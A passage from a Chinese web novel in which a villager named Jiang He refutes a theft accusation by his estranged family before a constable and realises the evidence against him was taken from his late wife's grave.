见江河又问出了这个问题,王冶山不由一时语塞。
说实话,江家老宅这次的做法确实太过阴毒狠厉,莫说是江河这个当事人,就连他这个外人都有些看不下去了。
“这个嘛……”王冶山斟酌着用词,轻声道:“断亲文书都已经签了,也早就已经送到县里的户籍司备了案,按理说,你们现在确实是已经没什么关系了……”
“了然!”
江河闻言,了然点点头,眸光中不自觉的闪现出一丝冷意,看得王冶山又是一阵心悸。
说话间,一行人已经来到了江家老宅门前。
只见院门敞开着,有两名年轻衙役正在院子里向王三妮和王艳问着话。
看到张云龙到来,两名衙役连忙撇下王三妮二人,小跑着过来向张云龙行礼:“张头儿,您来了。”
张云龙点了点头,目光扫过院子正中。
看了眼正躺在椅子上不时呻吟着的王三妮,和站在椅子旁神情略显紧张的王艳,沉声向两名差役询问道:“情况如何?”
一名衙役躬身回禀道:“张头儿,这两个妇人一口咬定他们家确实是丢了三十五贯钱。”
“其中包括三锭银子、一对玉镯、两支银钗、三贯铜钱及一两左右的碎银子。”
“据他们交待,那三锭银子上他们还刻印了特有的标记,还有那一对玉镯,内有血沁之色,且沁色形状呈白鹭展翅翱翔之态,极易辨认……”
“这些财物,大部分都放在他们主卧房顶的木梁上,装在一个用了好多年的破旧小木箱内。”
“方才我们已经到他们卧房内的房梁上去查探过了,主梁位置确实有一处明显的四方形压痕。”
“所以,我们初步判断,苦主应该并没有谎报失窃金额,他们家是真的丢了价值不菲的财物。”
嗯?
张云龙闻言,不由眉头微挑。
怎么回事儿?
这两名属下调查得来的结论,可是跟他在江河还有王德顺、王冶山那里得到的消息有些不符啊。
不是说这**家不可能会有三十五贯钱的巨款么?
怎么现在,他们却连失窃财物的具体数目,及每样物品的详细特征,都能说得如此清楚?
张云龙目光流转,飞快的打量了一下整个院落,淡声向两名属下问道:
“怎么这家里就只有这两个妇人,他们家男人都去哪了,怎么不出来接
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受询问?”
“若是我记得不错,这次前去县衙报案的人,应该是两名男丁吧?”
另一名衙役恭声回道:“报案人江十二和江洋眼下都不在家,说是出门筹钱买粮,以及给受了伤的王三妮请郎中去了。”
张云龙闻言,微微点头,这个理由倒是说得过去。
**家昨夜刚刚失火,家中的余粮尽数被烧成了灰烬。
更不幸的是,在失火的同时,他们家还遭了窃贼,将他们藏在卧房内的所有财物一扫而光。
他们现在想要吃饭,想要看病,自然是要出去向亲朋或是邻里借借。
就在张云龙听取两名属下汇报情况的空当。
斜躺在院中长椅子上的王三妮,一看到江河,顿时像是被踩了尾巴的猫一样尖叫起来。
她挣扎着猛的坐起来,抬手指着江河的鼻子破口大骂:
“江河!你个天打雷劈的小畜生!连自己亲娘都敢打,连爹娘的棺材本都敢偷的不孝子,你怎么还敢出现在老娘的跟前?!”
“你过来!你过来!老娘要打死你这个忤逆不孝的狗东西!”
她越骂越激动,唾沫星子都跟着四处飞溅。
当她发现自己根本就下不了地,拿江河没有任何办法之后,忍不住仰天叫屈哭诉道:
“老天爷啊,你快睁睁眼,降下一道神雷直接劈死这个忤逆父母的不孝子、白眼狼吧!”
“这个不孝子把我们攒了一辈子的棺材本全都偷光了,他这是想要逼死我们老两口,是存心要让我们老宅一家老小家破人亡啊!”
王三妮捶胸顿足,哭天抢地。
咒骂江河的同时,两只眸子也在恶狠狠地紧瞪着江河,眼神怨毒得像是要把他给生吞活剥了一样。
而江河,则静静的站在那里看着她表演,既不搭言,也不反驳。
那些恶毒的叫骂与诅咒,他仿若未闻,根本就引不起他心绪上的半点儿波澜。
在他看来,跟这样已经失了心智的老太婆吵架,除了会拉低他的个人素质外,根本就不会有任何结果。
反倒是旁边的几个不明真相的衙役,听到王三妮叫骂江河不孝,说他不但出手殴打了自己的亲娘,甚至还偷光了父母的养老钱。
这也太不是个东西了!
几个人不由全都怒意上涌,热血上头,满眼不善的抬头朝江河这边看来。
有两个脾气火爆的家伙,甚至都已经把右手按在了腰间的刀柄之上。
第76章 自证清白
江河轻瞥了那两名年轻的差役一眼,不由在心中轻声一叹。
看来,这个时代对于“孝”之一字的看重,远要比他想象中的还要根深蒂固得多。
光是听到有人不孝顺,甚至出手殴打自己的亲生父母,在不明缘由的情况下,就会有人自动站出来横加指责,或是直接出手教训不孝子。
就像是眼前这两个年轻的差役,只是听了王三妮的几句片面之词,就想要对他动刀。
这样的情况,江河都不知是该嘲笑他们好,还是该夸赞他们好。
不过他们若是真敢对他动刀的话,这样明显带着愤怒情绪的攻击。
江河可不会再像方才那样,傻站在原地一动不动,让他们再把刀架在自己的脖子上。
他的身体又不是铁打的,万一这两个带着强烈情绪波动的小年轻在愤怒之中失了分寸,真的拿刀砍了他的脖子,他岂不是得冤死?
王三妮似乎也留意到了院中几个衙役似乎相信了她的哭诉。
尤其是看到其中两个年轻衙役,竟把手按在了腰间的刀柄之上,一副随时都有可能会抽出来的架势,王三妮不由眼前一亮,叫骂得更起劲儿了:
“列祖列宗啊,你们快睁眼看看吧!这就是我为**家养出来的好儿子啊!打娘偷钱,无恶不作,这是要遭天谴的啊!”
“……”
一边骂,她一边恶狠狠地瞪着江河,高声诅咒道:
“你这个不孝爹娘、不敬先祖的狗东西!老娘咒你以后**,不得好死!等你**都要下十八层地狱,永世不得超生……”
这番恶毒的咒骂,连围观的村民都听不下去了。
王老四更忍不住在人群中出声说道:
“王婶子,你这话说得也太毒了吧?事情都还没查清楚呢,你就这样……”
“你给老娘闭嘴!”
王三妮尖声把王老四的话打断,用同样阴毒的目光直盯着王老四:
“你们都被这个小畜生收买了!都是一伙的!”
“王老四,你现在就丧着良心替这小畜生说话吧,看看以后你自己会不会遭报应,看看你们一家将来会有什么好下场……”
说完,不等王老四有什么反应,王三妮又开始哭天抢地对着江河叫骂起来:
“老天爷不睁眼啊,不孝子这么欺负自己的亲爹亲娘都没有人管啊!”
“现在还有人丧了良心的帮这个不孝子说话,这是存心想要逼死我们老两口啊……”
王三妮一边哭诉叫骂,一边斜眼偷偷观察那两个手按刀柄的年轻差役,期盼着他们马上动手**江河这个狗东西。
而江河,看到王三妮刚刚怒骂王老四时的神情举动,不由心神微动。
其他人,甚至就连王老四自己,估计都会以为这是王三妮发癫,随口咒骂出的无心之言,并不会真个当回事儿。
但是江河不一样,他昨晚可是曾亲耳听到,老宅一家与赵神婆合谋,欲要对王老四家的小儿子,及王小顺家的小女儿动手。
现在,看到老宅之中就只有王三妮与王艳两个女人在,江十二与江洋全都不见了踪影。
江河心中不免开始怀疑,今天官差入村的这一场戏码,多半就是老宅故意为之。
请县里的官差前来缉拿真正的盗贼,替他们将丢失的财物追回是一方面。
借助这些官差之手,提前限定住他江河的自由,同时也能将全村老少的注意力,全都集中到这桩**案上也是一方面。
只有把全部老少的注意力全都给转移走,才好方便江十二与江洋偷偷拐带王小豆与王小丫这一对童男童女,才好方便他们接下来的栽赃陷害。
这一招,跟江河昨晚在老宅声东击西、引火盗物,有着异曲同工之妙。
“不出意外的话,江十二与江洋现在,已经开始在悄悄动手了吧?”
江河心中暗自思忖,嘴角处不由泛起了一丝冷笑与期待。
虽然他早已知晓了一切,不过却并没有要提前跟王老四或是王小顺通气提醒的意思。
一是因为他不好解释自己的消息来源,王老四与王小顺听了也未必会相信他。
二则是,如果事前就将所有的危机都消弥于无形,那他接下来还怎么将老宅的这帮狗东西全都给送到大狱里去?
反正江十二与江洋也没有要伤害王小豆与王小丫那两个孩子的意思。
只要能确保两个小家伙不被送出村,不被人贩子给拐卖走,这场戏该怎么唱还得继续唱下去。
呛~!
这时候,终于有一名小衙役控制不住胸中的怒意,唰的一下就将腰间的佩刀抽了出来。
只是还没等他有下一步的动作,就被身前的张捕头一拉一提,又将他刚抽出的配刀插回了刀鞘。
张云龙狠瞪了这个不带脑子的属下一眼。
没看到周围的村民,还有王德顺及王冶山等人,在听到王三妮叫骂江河不孝子时,全都带着一脸嘲讽、鄙夷的神色看着王三妮吗?
如果江河真的做了什么大逆不道的不孝之举,身为王氏一族老族长的王德顺,还有身为下河村里正的王冶山,怎么可能会坐视不理?
要知道,这王三妮可是他们王氏本族之人,若是她真的占理,王德顺与王冶山这两个王氏宗族的领头人,又怎么可能会不偏向于她,反而去放纵江河这样一个外姓之人?
这般情况下,只要稍长一些脑子的人,都能看出其中必有猫腻。
可是他属下这个头脑简单的憨货,只听了王三妮几句哭诉叫骂,就冲动的想要对江河动刀,这不是蠢货是什么?
“够了!”
本就被王三妮的哭嚎吵得心烦意乱的张云龙,忍不住一声厉喝,面色阴沉的直盯着王三妮道:
“王三妮,我们现在前来调查的是你们家的失窃案,不是听你在此鬼哭狼嚎的!”
“接下来你若是再敢这般撒泼哭闹,不好好回答本捕头的问话,本捕头不介意带你到县大狱去住上几日!”
呃?!
王三妮被张衙役的气势所慑,哭声一噎,眼神闪烁,不敢再像刚才那样肆无忌惮地咒骂。
但她的嘴里却依旧不干不净地低声嘟囔着:
“
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真是没开理了,连话都不让人说……明明我们才是苦主,才是被这不孝子**偷家的可怜人啊……”
“嗯?!”
张云龙一声冷哼,目光阴冷、面无表情的回头怒视了王三妮一眼。
同时,他的右手也不自觉的摸向了腰间的刀柄之上,威胁、警告之意溢于言表。
王三妮见状,意识到自己似乎是真的触怒了这位差爷捕头,立马噤若寒蝉,缩着脖子靠在椅子上,不敢再多说半句话。
“江河,你方才不是说要与苦主当面对质,借此来证明自己不曾偷盗过江家的财物吗?”
威慑住了王三妮之后,张云龙又扭头看向江河。
“现在,你们双方都已在场,有什么话,你现在就可以直言了!”
江河闻言,不紧不慢的走到王三妮与王艳的近前,目光在王三妮及王艳二人的脸上轻轻扫过,淡声问道:
“王三妮,王艳,你们口口声声说是我江河偷了你们家东西,那你们可敢当众说清楚,我是什么时候来的你们家,又是什么时候偷走了你们家价值三十五贯的财物?”
王艳没有说完,王三妮恶狠狠的瞪着江河,信誓旦旦道:
“就在昨天晚上,你来我们家救火的时候,趁我们不注意摸进了里屋,把我们家所有的钱全都偷走了!”
“你个没良心狗东西、不孝子、白眼狼,那可是我跟你爹攒了一辈子的养老钱,你……”
王三妮还想要再继续哭嚎叫骂,却被旁边的张云龙怒目一瞪,刚骂到一半的话就又给憋了回去。
“好,既然你们确定我是在前来救火的时候,趁机盗走了财物。”江河继续问道:“那么,我请你们再告诉我,你们丢的那三十五贯财物中,具体都有什么东西?”
王三妮想都没想就直接脱口而出:“三锭银子、一对玉镯、两支银钗、三贯铜钱,还有一两左右的碎银子。”
“好!”
江河再次叫了一个好字,然后冷眼目视着王三妮,一字一句的沉声质问道:
“三锭银子,一对玉镯、两支银钗还有那一两碎银子且不去说,我只问你,那三贯铜钱可也那些失物之中?”
“当然!”王三妮果断点头:“你别想狡辩,更别想抵赖,我们家的每一文钱都是老娘辛苦积攒下来的血汗钱,我不可能会记错!”
血汗钱?
江河嘴角不由露出一丝嘲讽的笑意,老宅的钱到底是怎么积攒出来的,这世上还有谁能比他这个“大孝子”、“大冤种”更清楚吗?
“好!”
江河第三次开始叫好,然后不再理会王三妮,而是扭头看向旁边王德顺、王冶山还有张云龙几人。
“我想问的话已经问完了。”
“老族长、里正公,还有张捕头,现在你们应该已经能够确定我是清白的了吧?”
呃?
什么意思?
王德顺、王冶山、张云龙还有在场其他的村民及衙役,全都是一头雾水。
这都什么跟什么啊?
才问了两句话而已,怎么就能证明你是清白的了?
第77章 关键证据,亡妻旧物
江河此言一出,满院皆静。
张云龙眉头紧皱,沉声道:“江河,你此话又是何意?”
“仅凭你刚刚这两句问话,如何能证明你的清白?莫非你是在戏耍本捕头不成?”
王三妮也像是抓住了江河的把柄,尖声叫嚷道:
“差爷您看看!他这就是心虚了!他根本就证明不了什么,都开始当着您的面胡搅蛮缠了!”
江河却不慌不忙,先向着张云龙、王德顺及王冶山等人,环身拱手一礼,声音清晰而沉稳的朗声道:
“张捕头,老族长,里正公,还有在场的诸位乡亲,并非江河胡言,而是这王三妮的证词本身,就是最大的破绽!”
说着,他目光幽然转向王三妮,带着一丝冷嘲:
“王三妮,你口口声声说,我是在昨晚救火时,趁乱潜入里屋,偷走了你所说的那些财物,其中还包括了三贯铜钱,可对?”
“是又怎样?!”王三妮梗着脖子,满眼怨恨,“就是你这不孝子,打着帮忙救火的名义,偷走了我们所有的血汗钱!”
见王三妮直到这个时候都还死不悔改,一个劲儿的往自己身上泼着脏水,江河不由一声冷哼。
他没有再搭理王三妮,而是转身看向在场所有的村民,猛地提高了音量,确保院中每一个人都能听清他所说的话。
“诸位都知道,如今已是初秋,夜里寒凉,不比夏日单薄。昨晚我去老宅救火,身上穿的,正是和现在差不多的厚布夹衣!”
说着,他张开双臂,原地转了两圈。
然后又抬手扯了扯自己身上那件略显破旧的深色夹衣,高声道:
“大家请看,就我这身衣裳,固然比夏衣厚实些,也能藏得一些小的物件在身上,但是它可能藏得下三贯铜钱吗?”
三贯铜钱,就是三千文,重量接近二十斤!
三串放在一起,体积更是庞大,若真要塞进衣服里,必定会显得鼓鼓囊囊,行动异常笨拙。
当天晚上前来老宅救火的人那么多,江河真要是把这么多铜钱全都放在身上带走的话,必然会被人察觉。
可是当天晚上,所有人都没有发现江河身上的异常,只能说明,昨晚江河并没有盗走江家老宅的财物。
而这一切,都是王三妮还有老宅诸人对江河的栽赃与污蔑!
听到江河的这般讲解,院中顿时响起一片窃窃私语和恍然大悟的议论声。
“对啊!三贯钱可不是小数目,二十斤重呢!”
“江河昨晚要是怀里揣着二十斤东西,还能那么利索地跑前跑后提水救火吗?”
“就是就是,我当时也在呢!江河昨晚就这身打扮,动作灵便得很,弯腰提水的时候都不带半点儿磕绊的,哪像怀里揣了二十斤重物的样子?”
“王三妮这谎撒得真是没边了!江河又不傻,真要偷,偷些轻便的银锭首饰还说得过去,谁会傻到偷这最沉最占地方的铜钱?”
王三妮此时显然也意识到了这些,脸色瞬间变得惨白。
她千算万算,却没算到江河会从衣服和重量的角度,如此精准地击破她的谎言。
之前他们在算计污蔑江河时,可从来都没有想过这样的问题。
“大家千万别被他给蒙蔽了!”王三妮连忙开口狡辩道:“也、也许他当时并没有把那些钱带在身上,而是藏到别的地方了!”
“反正……反正我们家的钱就是他偷走了,你们要是不信,现在就可以去搜他们家,肯定能找到!”
江河早料到她会有如此一说,立刻开口追问,语气也愈发凌厉:
“哦?既然如此,那你来告诉大家,我把那些偷来的财物藏哪了?”
“老宅的院里院外,当时挤满了救火的乡亲,众目睽睽,我能把东西藏哪去?!”
“我来你家救火时,手里就只提了一只空水桶,走的时候亦是如此。”
“且我们来后,总共就只提了不到三桶水,这宅院中的大火就已经完全被扑灭。”
“算一算,我们当时在老宅内停留的时间甚至连一刻钟都没有吧?”
“而且在救火结束之后,你还拉着我大吵了一架,非要说我是纵火烧家之人,让我来赔偿你们家失火的所有损失,这些当时大家都有目共睹,你该不会是已经忘了吧?”
“当时,我的身上有没有藏东西,我有没有机会溜进主屋里面去偷东西,怕是再没有人比你这老太婆更清楚、更了解了吧?”
王三妮**河这一连串的质问逼得节节败退,脸色由白转青,嘴唇哆嗦着,却再也吐不出半个有力的字眼来回击辩驳。
她当时确实一直都在仔细盯着江河这个不孝子,生怕他会顺手牵羊,趁机来偷他们家东西。
可从头到尾,江河确实是在认真提水救火,根本就没有机会进入他们家里屋去偷东西。
而且,她在与江河纠缠吵闹之时,也确实没有看到他身上有任何鼓囊之处,更别提藏匿二十斤重的三贯铜钱了!
此时,周围村民们的议论声更大了,所有人看向王三妮的目光都充满了鄙夷与不屑。
他们大多都是参加了昨晚救火的当事之人,对于昨晚救火的情况那是再清楚不过,自然知晓江河并没有说谎。
“没错!昨晚那场大火灭得很快,江河他们从村西赶过来的时候,火势就已经被灭得差不多了,他根本就没有什么做案时间!”
“还有,王婶子当时可是还揪着江河骂了半晌,若江河身上真藏了钱,她怎么可能会发现不了?”
“依我看,这老太婆这分明就是在血口喷人!见不得江河家的日子好过!”
“……”
张云龙将这一切全都看在眼里,心中已然了如明镜。
他办案这么多年,似王三妮这等拙劣的诬告伎俩岂能瞒过他的眼睛?
他面色一沉,目光如电直射王三妮,官威凛然的厉害声喝问道:
“王三妮!事实俱在,你还有何话说?!”
“你可知,栽赃陷害、诬告他人,可是要反坐其罪的!”
王三妮被吓得一个激灵,不过很快她就回过神来,依然咬牙切齿地指着江河说道:
“我……我不管!就是江河他偷了我们家东西!”
“虽然我不知道他是怎么做到的,但是
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我们在丢东西的地方发现了绣着他名字的香囊!”
“你们说,除了他之外,还会有谁?!”
说着,王三妮突然伸手入怀,掏出了一个略显陈旧、约莫巴掌大小的靛蓝色香囊。
那香囊的布料已有些褪色,边缘处甚至起了些许**球,显然有些年头了。
香囊正面,用略显稚嫩的针法,绣着一丛简单的兰草图案。
再翻到背面,可以在靠近抽绳的下方,清晰地看到用同样针法绣着的两个字——江河。
“差爷您请看!这就是江河他偷盗我们家财物的证据!”
王三妮像是抓住了最后一根救命稻草,双手捧着香囊,激动地递向张云龙。
“这香囊,就是在我们老两口藏钱的木箱旁发现的!定是这杀千刀的在偷钱时不小心落下的!”
香囊的出现,让原本已经明朗的局势再次掀起波澜。
院中众人的目光瞬间聚焦在那小小的靛蓝色香囊上,议论声也随之又起:
“这……还真是绣着江河的名字香囊?”
“难道它真是江河落下的?”
“不会吧,刚刚江河不是已经证明他没有去偷钱吗?这香囊怎么会出现在**家藏钱的地方?”
“切,一个香囊而已,能说明什么?别忘了,江河以前可是有名的大孝子,一天恨不得往老宅跑八百趟,这香囊指不定就是他以前落下的也说不定……”
张云龙眉头微蹙,接过香囊仔细端详。
香囊入手轻飘,里面似乎只有一些早已失去香气的干花碎末。
他抬眼看向江河,目光中带着审视,冷声向江河询问道:
“江河,这香囊,你又该作何解释?”
面对这突如其来的“物证”,江河脸上却没有丝毫慌乱。
他早就料到,为了坐实他偷盗的嫌疑,老宅里的这帮狗东西肯定提前就做了不少的准备。
眼前这只香囊,或许就是他们为自己准备的最大**锏。
他并没有直接回答张云龙的问题,而是不紧不慢地走上前,目光平静地看向张云龙手中的香囊。
“张捕头,可否将此物予我一观?”江河拱手请求。
张云龙略一沉吟,并未拒绝,反手就将香囊递了过去。
当着这么多人的面,他不信江河胆敢直接毁坏证物。
“多谢!”
江河道了句谢,伸出双手接过香囊,指尖摩挲着那粗糙的布料和略显歪斜的绣字,眼神中不觉流露出一丝复杂难明的意味。
似是追忆,又似是嘲讽。
就这样过了片刻,江河回过神来,又小心的将香囊双手递还给了张云龙,同时点头承认道:
“张捕头,这香囊,确实是我的旧物,而且还是我那亡妻,生前专门为我所绣。”
此言一出,众人皆是一愣。
就连王三妮都没想到,江河竟然会没有半句狡辩的直接就承认了。
老太婆的脸上瞬间露出狂喜之色,激动的抬手指着江河,高声叫嚷道:
“差爷您都听到了吧!他自己都承认了,这就是他的东西!现在人赃并获,你们快把他给抓起来吧!”
第78章 掘坟盗墓,死不足惜
原身的老婆王娟,在江河的记忆中印象并不是那么深刻。
只知道她是一个普通的农村妇女。
长相一般,身材一般,声音也不是那么甜美可人。
但是她的性子却很是温柔,干活也是一把好手,明明不是很高大的身体,却仿佛是有使不完的力气。
嫁入江家之后,她一直都操持守家,不管是地里还是家里的活计与事务,她都能打理得很有条理。
只是,关于她生前的诸多事迹,甚至她具体的音容面貌,在江河的记忆中都已然有些模糊不清。
毕竟她已经过世了三年,原身这个没心没肺的二赖子,早就已经把这个原配给淡忘得都快要想不起来了。
江河穿越过来之后,透过原身的残存记忆,也只知道家里曾经有这么一个人存在过。
可是她以前都做过什么事,说过什么话,还有她具体长什么样子,全都已经模模糊糊,看不真切了。
可是就在方才。
当江河在看到王三妮拿出来的这只绣着他名字的破旧香囊时,江河沉寂已久的脑海之中,却骤然沸涌出了一段相关的记忆,冲击得他不禁一阵失神。
那是二十年前,原身与王娟才成婚不到两年时,年仅十五岁的王娟连着熬了十个夜晚,才为原身绣出来的香囊。
当时他们夫妻之间的感情还很好,原身也没有像是后来那么混账不当人,小夫妻俩的日子过得还算是很有奔头。
所以,当时的原身很喜欢也很珍惜这只香囊,每天将这只香囊随身携带,爱惜得不得了。
后来,因为老宅江十二与王三妮不断的蛊惑与诱导,原身被彻底洗脑,愚孝入骨,成为不断供养老宅的血包与舔狗。
王娟也对这个丈夫逐渐失望透顶,以后就再也没有为原身绣过任何东西。
所以,这只香囊便成了原身身上所拥有的唯一一件由王娟亲手刺绣的贴身物品。
后来,原身虽然心向老宅,也做了很多不当人的混账事。
但是对于这只香囊,却一直都极为爱惜,有很多次就连王三妮亲自开口向他讨要,他都没舍得给。
为此,王三妮一直都觉得他在这只香囊里面藏了什么值钱的宝贝,所以原身才会不舍得给她,也因为这只香囊不止一次的骂过他不孝。
三年前。
王娟被王三妮堵门咒骂,一时气不过,直接在东屋悬梁自缢。
原身虽然对外宣称是王娟“忤逆父母,不孝双亲,**也是活该”。
但是内心深处却还是不可避免的升起了一丝愧疚与伤感。
为了能让亡妻走得风光些,同时也让自己心里少些负罪感,原身不但借钱将王娟风光大葬,还往棺椁里放了不少值钱的陪葬品。
其中,这只他贴身佩戴了近二十年的香囊,也被他安放在了亡妻的怀中,与之一同下葬了。
所以,刚刚再次看到这只本应该已经陪着王娟埋进了坟茔之中的香囊,却这般堂而皇之的出现在眼前时。
江河脑海之中沉寂了许久的记忆才会突然爆发,且汹涌澎湃。
也是直到这一刻,江河才恍然明白,这只绣着他名字的香囊,王三妮究竟是从何而来。
掘坟!
只能是掘坟!
一股混杂着恶心、愤怒、以及一种难以言喻的悲凉的情绪波动,瞬间冲垮了江河潜意识中,原身仅存着的那点儿残留意志。
瞬时之间,江河自身的主意识竟与原身的残留意志同鸣共振。
原身那模糊记忆中,王娟悬梁自尽的惨状,与眼前这只还残留着阴湿土腥气的香囊重叠在一起,让他胃里一阵翻腾。
老宅这些人,为了诬陷他,竟然真的敢做出这等伤天害理、掘坟盗墓的勾当!
他们连**都不放过!王娟生前被他们逼死,死后竟连安宁都不得!
原身或许很对不起王娟,也对王娟做了很多不当人的混账事。
但至少,在最后他还存了一丝愧疚,给了她一场风光的葬礼,并将他最珍视的香囊陪她而去。
可老宅这些人,却连这最后一点体面与安宁都要残忍剥夺!
这一刻,江河心中对老宅的最后一丝因为“血缘”而产生的、本就不多的顾忌,彻底烟消云散。
取而代之的,是如同实质般的冰冷杀意。
此刻,听到王三妮因为他承认香囊的归属,以为证据确凿,终于可以将他治罪而兴奋激动的叫嚷声。
江河猛的抬起头,目光如利箭一般朝着王三妮直射而去。
“王三妮……”
江河的声音低沉,带着一种压抑到极致的、令人心悸的平静。
这三个字,仿佛是从冰窖里捞出来的一般,听得王三妮忍不住一个哆嗦。
显然,她也已经知道,江河必然是已经猜出了这只香囊真正的来历。
不过,她却半点儿也不觉心虚。
他们挖的是自家祖坟里的东西,就算是县里的差役知道了又怎么样?
况且,只要他们一家咬**不承认,谁也拿他们没办法。
眼前这只绣着江河名字的香囊,就是江河遗留在**现场的明证。
毕竟,在过去的十几年间,江河可是一直都把这只香囊带在身上,宝贝得很,熟悉他的人谁不知道这香囊就是他的东西?
纵使江河说这只香囊他早就已经陪葬给了王娟那个**,没有证据,谁能够证明他说的是真的?
江河接下来的任何反驳与辩解,她都可以说是这个不孝子为了逃脱罪责在信口雌黄!
这些,早在他们决定去挖王娟坟茔,窃取里面的陪葬财物来度过眼前的难关时,就已经提前思虑好了,根本就不怕江河把他们拆穿。
江河见这老太婆一副有恃无恐的样子,便知道她是作何打算。
他深吸了口气,并没有立即拆穿这只香囊是老宅掘墓所得,而是淡声向正等着他解释的张云龙说道:
“这只香囊确实是我之物,可它也只是一件死物而已,它出现在作案现场,并不意味着它必须是我带过去的。”
“有可能是我不慎遗落,恰好被贼人给捡走了……也有可能是老宅之人提前将此物从我身边偷走,故意栽赃陷害……”
“恕我直言,若是现场只有这么一件孤证的话,应该并不能直接证明我就是那**
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之人吧?!”
张云龙微微点头,道:“确实是这么个理,只有孤证的话,确实不能直接定你的罪。”
“但是,你的贴身之物出现在了**现场,你的嫌疑无疑就是最大的。”
王三妮见即便是这样,张云龙竟然还没有立刻下令抓人,不由心急如焚,身体里那股子泼辣无赖的劲头又上来了。
她猛地挣扎着从躺椅上坐起身来,顾不得腿上断骨的疼痛,指着江河的鼻子,对着张云龙和周围的衙役、村民再一次的哭天抢地起来:
“差爷啊!你们可是青天大老爷啊!你们可不能偏袒这个贼骨头!”
“现在切实的证据都摆在眼前了,你们还不抓人,还不把这个不孝子给下了大狱,你们还在等什么?!”
“这个混账东西可是偷了我们所有的养老钱啊,那些钱要是寻不回来,我们老两口还有我们这一大家子,以后可怎么活哟?!”
她一边哭嚎,一边用眼睛狠狠剜着江河,唾沫星子横飞:
“这香囊就是他的命根子,不是他偷钱时落下的,还能是谁?!”
“你们要是不信,现在就派人去搜他的家!去搜啊!”
“他们家以前穷得叮当响,连耗子进去了都得哭着出来!现在又是买粮又是买布,还天天吃肉,那钱是哪来的?还不是偷了我们**家的!”
“要我说,我们家的那些钱,肯定早就被这不孝子给偷走了!”
“那么多钱,他们一时半会儿的肯定还没花完,现在指不定就藏在他们家里的哪个耗子洞里呢!”
“差爷你们去搜,一准儿能搜出来!到时候看这个不孝子还怎么狡辩!”
王三妮的叫嚷声又尖又利,如同魔音贯耳,搅得人心烦意乱。
她才不管江河家最后到底能不能搜出赃物。
她现在这么做的主要目的,就是要借着此事,引导着这些官差还有看热闹的村民,去搜江河他们家。
若是真能搜到老宅丢失的那些财物,证明江河确实是昨晚偷盗他们家的窃贼,自然是意外之喜。
若是不能搜到,也完全没有关系。
因为这个时候,**头与江洋二人,已然在江河家为他准备好了一份大礼。
只要县里的这些差役们过去搜家,必然能够发现比**案还要严重十倍百倍的案子!
张云龙被她吵得眉头紧锁,但“搜家”这个提议,确实是在当前情况下,进一步取证的有效手段。
如果真能从江河家搜出与失窃清单相符的财物,那江河的嫌疑就再难洗脱,几乎可以直接定罪了。
他扭头看向江河,沉声问道:“江河,现在苦主提议要去你家搜查赃物,你可有异议?”
一时间,所有人的目光全都聚焦在江河身上。
江河见状,心中不由一声冷笑。
真当**王三妮这帮狗东西,心里面打的是什么算盘么?
这个时候,江十二与江洋那父子俩,怕是已经把两个孩子的血衣藏进他们家里了吧?
为了坐实他邪祟的罪名,为了吃上他们一家人的绝户,老宅的这帮狗东西,还真是煞费苦心了啊!
第79章 母“慈”子“孝”
眼下这般情况,他已经成了这桩**案最大的嫌疑人,搜不搜家这个问题,其实已经由不得他了。
张云龙之所以会这么询问他一句,在江河看来,亦是试探大于征询。
即便是他摇头拒绝,也必拦不住这些差役强行搜家的举动。
所以,他面上故意露出几分被侮辱的愤懑之色,昂着头,高声道:
“清者自清!张捕头要搜,尽管去搜!我江河行得正坐得直,不怕任何查验!”
说着,他话锋一转,目光锐利地看向王三妮:
“但是,张捕头,若是搜过之后,并未找到那些所谓价值三十五贯钱的赃物,又当如何?!”
“是否可以证明我江河的清白?同时也能证明是王三妮等人在诬告于我?!”
“而那只香囊,不过是他们为了贼赃陷害我而故意寻来的证物?”
“这……”
张云龙沉吟了片刻,并没有给出一个明确的答复。
旁边的王三妮却像是被踩了尾巴的猫,顿时跳脚尖叫道:
“不可能会搜不到!钱肯定就在他们家!要是搜不到……要是搜不到……”
她一时语塞,但泼妇的本能让她强自嘴硬:
“要是搜不到,那也只能说明你这不孝子把钱藏到别处去了!”
“不管怎么说,我们家的钱肯定都是被你这白眼狼给偷走了!”
“呵!”江河嗤笑白眼,“这么说来,无论搜不搜得到,你都要把这**的罪名扣在我头上了?”
“王三妮,别以为当着几位差爷的面,老子就不敢揍你!你若是再这样满嘴喷粪,故意污蔑老子,信不信老子把你另一条腿也给打断!”
说话之时,江河背对着张云龙等人,目光凶狠的直视着王三妮。
声音冰寒入骨,眸光锋锐如刀,吓得王三妮忍不住身形一颤,不自觉地往后缩了缩脖子。
当她张嘴想要告发江河威胁她时,却见江河已回转过身,正色向张云龙拱手,朗声言道:
“张捕头,为证清白,小民愿意各位差爷去我家展开搜查!”
“但是在搜查之时,我想请老族长、里正公还有在场的诸位乡亲一同前去做个见证!”
“还有,王三妮、王艳,以及江十二与江洋他们四个苦主,也必须到场!如果他们愿意,就算是亲自参与到这次搜查之中,我也没有意见。”
“免得事后搜查的结果不如他们的意,他们又会跳出来说什么差爷偏袒,或是赃物被调包了之类的借口来继续污蔑我!”
此言一出,不少村民,包括王德顺与王冶山,全都不自觉的把目光扫向了王三妮与王艳二人的身上。
因为他们心里都很清楚,这样没脸没皮的事情,**家的人还真做得出来。
张云龙略一思忖,觉得江河所言在理。
搜查的时候,苦主若不在场,确实容易留下口实。
他扭头看向王三妮,语气不容置疑的开口说道:
“江河说得不错,既是搜查,双方当事人都应在场。”
“王三妮,你的腿脚不便,可让人抬着过去。至于江十二与江洋……”
他目光扫向院外,淡声向身后的年轻衙役下令吩咐道:
“吴元,钱通,你们带上几个村民,立刻去外面寻找江十二与江洋!尽快将他们带到江河家,一同参与搜查见证!”
“是!”两名衙役躬身领命,随便点了几名在场的村民,带着他们出了老宅的院子。
王三妮见状,并没有出言反对。
那张因为疼痛和怨恨而变得有些扭曲的老脸上,瞬间掠过一丝难以抑制的兴奋与狂喜。
为此,她甚至忘了腿上的剧痛,脱口而出道:
“好!就应该这样!”
“老婆子我也正想亲眼去看看,江河这个被邪祟附了体的不孝子,家里到底藏了多少腌臜东西!”
她这话说得又快又急,带着一种近乎病态的期待。
话音刚落,她自己似乎也意识到说漏了嘴,眼神闪烁了一下,但很快又被那股即将看到仇人覆灭的快意淹没,梗着脖子补充道:
“我是说……我倒要亲眼看看,我们**家辛辛苦苦攒下的那些血汗钱,到底被这贼骨头给藏到哪里去了!”
然而,那句“被邪祟附了体”和“腌臜东西”,却清清楚楚落在了张云龙、王德顺、王冶山等人的耳中,让他们的眉头再次蹙紧。
这王三妮,似乎话里有话
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啊。
